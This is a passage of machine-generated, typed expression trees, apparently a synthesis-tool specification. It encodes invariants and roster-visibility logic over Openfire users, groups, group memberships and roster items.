('target', TNative('org.xmpp.packet.JID')), ('nickname', TString()), ('askStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.AskType')), ('recvStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.RecvType'))))))), ELambda(EVar('i').with_type(THandle('RosterItem', TRecord((('backendId', TLong()), ('user', TString()), ('target', TNative('org.xmpp.packet.JID')), ('nickname', TString()), ('askStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.AskType')), ('recvStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.RecvType')))))), EGetField(EGetField(EVar('i').with_type(THandle('RosterItem', TRecord((('backendId', TLong()), ('user', TString()), ('target', TNative('org.xmpp.packet.JID')), ('nickname', TString()), ('askStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.AskType')), ('recvStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.RecvType')))))), 'val').with_type(TRecord((('backendId', TLong()), ('user', TString()), ('target', TNative('org.xmpp.packet.JID')), ('nickname', TString()), ('askStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.AskType')), ('recvStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.RecvType'))))), 'backendId').with_type(TLong()))).with_type(TBag(TLong()))).with_type(TBool()), 'and', EUnaryOp('unique', EMap(EVar('groups').with_type(TBag(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))))), ELambda(EVar('g').with_type(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))), EGetField(EGetField(EVar('g').with_type(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))), 'val').with_type(TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), 'name').with_type(TString()))).with_type(TBag(TString()))).with_type(TBool())).with_type(TBool())).with_type(TBool()), 'and', EBinOp(EUnaryOp('empty', EFilter(EVar('childGroups').with_type(TBag(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))))))), ELambda(EVar('child').with_type(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))))), EUnaryOp('not', EBinOp(EGetField(EGetField(ETupleGet(EVar('child').with_type(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))))), 0).with_type(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))), 'val').with_type(TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), 'rosterMode').with_type(TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))), '==', EEnumEntry('ONLY_GROUP').with_type(TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))).with_type(TBool())).with_type(TBool()))).with_type(TBag(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))))))).with_type(TBool()), 'and', EBinOp(EUnaryOp('empty', EFilter(EVar('childGroups').with_type(TBag(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))))))), ELambda(EVar('e').with_type(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))))), EBinOp(EUnaryOp('not', EBinOp(ETupleGet(EVar('e').with_type(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))))), 0).with_type(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))), 'in', EVar('groups').with_type(TBag(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))))).with_type(TBool())).with_type(TBool()), 'or', EUnaryOp('not', EBinOp(ETupleGet(EVar('e').with_type(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))))), 1).with_type(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))), 'in', EVar('groups').with_type(TBag(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))))).with_type(TBool())).with_type(TBool())).with_type(TBool()))).with_type(TBag(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))))))).with_type(TBool()), 'and', EUnaryOp('empty', EFilter(EVar('groupMembers').with_type(TBag(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date'))))))))), ELambda(EVar('e').with_type(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))))), EBinOp(EUnaryOp('not', EBinOp(ETupleGet(EVar('e').with_type(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))))), 0).with_type(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))), 'in', EVar('groups').with_type(TBag(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))))).with_type(TBool())).with_type(TBool()), 'or', EUnaryOp('not', EBinOp(ETupleGet(EVar('e').with_type(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))))), 1).with_type(THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))), 'in', EVar('users').with_type(TBag(THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))))).with_type(TBool())).with_type(TBool())).with_type(TBool()))).with_type(TBag(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))))))).with_type(TBool())).with_type(TBool())).with_type(TBool())).with_type(TBool()), 'and', EBinOp(EBinOp(EUnaryOp('empty', EFilter(EVar('admins').with_type(TBag(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date'))))))))), ELambda(EVar('e').with_type(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))))), EBinOp(EUnaryOp('not', EBinOp(ETupleGet(EVar('e').with_type(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))))), 0).with_type(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))), 'in', EVar('groups').with_type(TBag(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))))).with_type(TBool())).with_type(TBool()), 'or', EUnaryOp('not', EBinOp(ETupleGet(EVar('e').with_type(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))))), 1).with_type(THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))), 'in', EVar('users').with_type(TBag(THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))))).with_type(TBool())).with_type(TBool())).with_type(TBool()))).with_type(TBag(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))))))).with_type(TBool()), 'and', EBinOp(EUnaryOp('unique', EVar('childGroups').with_type(TBag(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))))))).with_type(TBool()), 'and', EUnaryOp('unique', EVar('groupMembers').with_type(TBag(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))))))).with_type(TBool())).with_type(TBool())).with_type(TBool()), 'and', EBinOp(EUnaryOp('unique', EVar('admins').with_type(TBag(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))))))).with_type(TBool()), 'and', EBinOp(EBinOp(EVar('u').with_type(THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))), 'in', EVar('users').with_type(TBag(THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))))).with_type(TBool()), 'and', EUnaryOp('any', EMap(EFilter(EVar('users').with_type(TBag(THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date'))))))), ELambda(EVar('other').with_type(THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))), EBinOp(EBinOp(EUnaryOp('not', EBinOp(EVar('u').with_type(THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))), '==', EVar('other').with_type(THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date'))))))).with_type(TBool())).with_type(TBool()), 'and', EBinOp(EUnaryOp('exists', EFilter(EVar('rosterItems').with_type(TBag(THandle('RosterItem', TRecord((('backendId', TLong()), ('user', TString()), ('target', TNative('org.xmpp.packet.JID')), ('nickname', TString()), ('askStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.AskType')), ('recvStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.RecvType'))))))), ELambda(EVar('i').with_type(THandle('RosterItem', TRecord((('backendId', TLong()), ('user', TString()), ('target', TNative('org.xmpp.packet.JID')), ('nickname', TString()), ('askStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.AskType')), ('recvStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.RecvType')))))), EBinOp(EBinOp(ECall('jidToUsername', (EGetField(EGetField(EVar('i').with_type(THandle('RosterItem', TRecord((('backendId', TLong()), ('user', TString()), ('target', TNative('org.xmpp.packet.JID')), ('nickname', TString()), ('askStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.AskType')), ('recvStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.RecvType')))))), 'val').with_type(TRecord((('backendId', TLong()), ('user', TString()), ('target', TNative('org.xmpp.packet.JID')), ('nickname', TString()), ('askStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.AskType')), ('recvStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.RecvType'))))), 'target').with_type(TNative('org.xmpp.packet.JID')),)).with_type(TString()), '==', EGetField(EGetField(EVar('other').with_type(THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))), 'val').with_type(TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date'))))), 'username').with_type(TString())).with_type(TBool()), 'and', EBinOp(EGetField(EGetField(EVar('u').with_type(THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))), 'val').with_type(TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date'))))), 'username').with_type(TString()), '==', EGetField(EGetField(EVar('i').with_type(THandle('RosterItem', TRecord((('backendId', TLong()), ('user', TString()), ('target', TNative('org.xmpp.packet.JID')), ('nickname', TString()), ('askStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.AskType')), ('recvStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.RecvType')))))), 'val').with_type(TRecord((('backendId', TLong()), ('user', TString()), ('target', TNative('org.xmpp.packet.JID')), ('nickname', TString()), ('askStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.AskType')), ('recvStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.RecvType'))))), 'user').with_type(TString())).with_type(TBool())).with_type(TBool()))).with_type(TBag(THandle('RosterItem', TRecord((('backendId', TLong()), ('user', TString()), ('target', TNative('org.xmpp.packet.JID')), ('nickname', TString()), ('askStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.AskType')), ('recvStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.RecvType')))))))).with_type(TBool()), 'or', EUnaryOp('exists', EMap(EFilter(EVar('groups').with_type(TBag(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))))), ELambda(EVar('g').with_type(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))), EBinOp(EBinOp(ETuple((EVar('g').with_type(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))), EVar('other').with_type(THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))))).with_type(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))))), 'in', EVar('groupMembers').with_type(TBag(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))))))).with_type(TBool()), 'and', EBinOp(EBinOp(EBinOp(EGetField(EGetField(EVar('g').with_type(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))), 'val').with_type(TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), 'rosterMode').with_type(TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))), '==', EEnumEntry('EVERYBODY').with_type(TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))).with_type(TBool()), 'or', EBinOp(EBinOp(EGetField(EGetField(EVar('g').with_type(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))), 'val').with_type(TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), 'rosterMode').with_type(TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))), '==', EEnumEntry('ONLY_GROUP').with_type(TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))).with_type(TBool()), 'and', EBinOp(ETuple((EVar('g').with_type(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))), EVar('u').with_type(THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))))).with_type(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))))), 'in', EVar('groupMembers').with_type(TBag(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))))))).with_type(TBool())).with_type(TBool())).with_type(TBool()), 'or', EBinOp(EBinOp(EGetField(EGetField(EVar('g').with_type(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))), 'val').with_type(TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), 'rosterMode').with_type(TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))), '==', EEnumEntry('ONLY_GROUP').with_type(TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))).with_type(TBool()), 'and', EUnaryOp('exists', EFilter(EVar('groups').with_type(TBag(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))))), ELambda(EVar('subg').with_type(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))), EBinOp(EBinOp(ETuple((EVar('g').with_type(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))), EVar('subg').with_type(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))))).with_type(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))))), 'in', EVar('childGroups').with_type(TBag(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))))))).with_type(TBool()), 'and', EUnaryOp('exists', EFilter(EVar('groupMembers').with_type(TBag(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date'))))))))), ELambda(EVar('t').with_type(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))))), EBinOp(EBinOp(ETupleGet(EVar('t').with_type(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))))), 0).with_type(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))), '==', EVar('subg').with_type(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))))).with_type(TBool()), 'and', EBinOp(ETupleGet(EVar('t').with_type(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))))), 1).with_type(THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', 